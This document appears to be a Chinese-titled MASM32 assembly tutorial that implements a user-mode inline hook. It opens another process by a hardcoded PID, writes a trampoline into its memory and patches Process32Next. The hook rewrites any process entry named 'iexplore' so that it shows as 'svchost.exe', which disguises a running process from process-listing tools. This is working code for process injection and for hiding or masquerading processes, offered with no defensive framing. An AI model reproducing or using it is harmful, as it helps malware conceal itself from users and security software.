应用层的InlineHook汇编实现
.586
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/shell32.inc
includelib ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS
;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx
;********************************************************************
; 节区名称
;********************************************************************
invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi
;********************************************************************
invoke lstrcmpi,offset sztext,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop eax
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif
;********************************************************************
pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endp
;得到相应进程的模块加载的起始地址
GetShell32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset kernel32,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetShell32Base endp
InlineHook proc
LOCAL hProcess:dword
LOCAL hKernel32:dword
LOCAL hAPI:dword
LOCAL PID:dword
LOCAL ModBase:dword
LOCAL OLDpro:dword
LOCAL CodeBuf[128]:byte
LOCAL optable[2048]:byte
LOCAL codelen:dword
LOCAL APIoffset:dword
LOCAL hAPI2:dword
LOCAL pHookFun:dword
LOCAL hooklen1:dword
LOCAL hookfunlen:dword
lea eax,optable
push eax
call disasm_init ;解压缩'指令长度表'
invoke LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址
mov hKernel32,eax
invoke _ProcessPeFile,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移
mov VirtualAddress,eax ;一般为1000h
invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
mov hAPI,eax
mov eax,hKernel32
add eax,VirtualAddress ;得到代码节起始地址
mov ecx,hAPI
sub ecx,eax ;函数入口相对于代码节的偏移
mov APIoffset,ecx
invoke GetCurrentProcessId
mov PID,eax
mov eax,9504
mov PID,eax
invoke GetShell32Base,eax
mov ModBase,eax ;得到目标进程DLL的基地址
add eax,VirtualAddress ;得到目标进程DLL的代码节基地址
add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址
mov hAPI2,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
mov hProcess,eax
invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
lea esi,CodeBuf
xor edi,edi
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax !=-1
add edi,eax
.if edi>=5
mov codelen,edi ;codelne记录应该COPY的代码字节数
jmp @@findok
.else
add esi,eax
jmp @@nextcode
.endif
.else
xor eax,eax
ret
.endif
@@findok:
;写HOOK函数到目标进程DLL的空闲空间中
mov eax,ModBase
add eax,VirtualAddress
sub eax,512
mov pHookFun,eax
invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
;计算偏移
mov ecx,@@hookbeg
mov eax,@@fakeret
sub eax,ecx
mov hooklen1,eax
;计算HOOK函数的全部代码长度
mov ecx,@@hookbeg
mov eax,@@hookfunend
sub eax,ecx
mov hookfunlen,eax
;把HOOK函数从代码段移到变量中
mov eax,@@hookbeg
invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
;移动被覆盖的原函数代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
sub ecx,21
invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
;跳回原函数
mov ecx,pHookFun
add ecx,hooklen1
mov edx,ecx
sub ecx,5 ;JMP指令的起始地址
mov eax,hAPI2
sub eax,edx
add eax,codelen
mov edx,offset JMPCODE2
inc edx
mov [edx],eax
invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
;移动真正的HOOK功能代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
mov eax,offset HookFunBuf
add eax,hooklen1
mov edx,hookfunlen
sub edx,hooklen1
invoke WriteProcessMemory,hProcess,ecx,eax,edx,0
;设置跳转指令
mov eax,pHookFun
sub eax,hAPI2
sub eax,5
mov ecx,offset JMPCODE
inc ecx
mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
invoke CloseHandle,hProcess
invoke MessageBox,0,offset inline,offset inline,1
ret
InlineHook endp
@@hookbeg:
push [esp+8] ;ARG2 有几个参数就ESP加几
push [esp+8] ;ARG1
jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
add edx,36
mov eax,[edx]
mov ecx,[edx+4]
.if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
mov eax,'hcvs'
mov [edx],eax
mov eax,'.tso'
mov [edx+4],eax
mov eax,' exe'
mov [edx+8],eax
.endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8 ;参数个数*4
@@hookfunend:
start:
invoke MessageBoxA,0,offset inline,offset inline,1
invoke InlineHook
invoke ExitProcess,0
include \masm32\include\lde32bin.inc
end start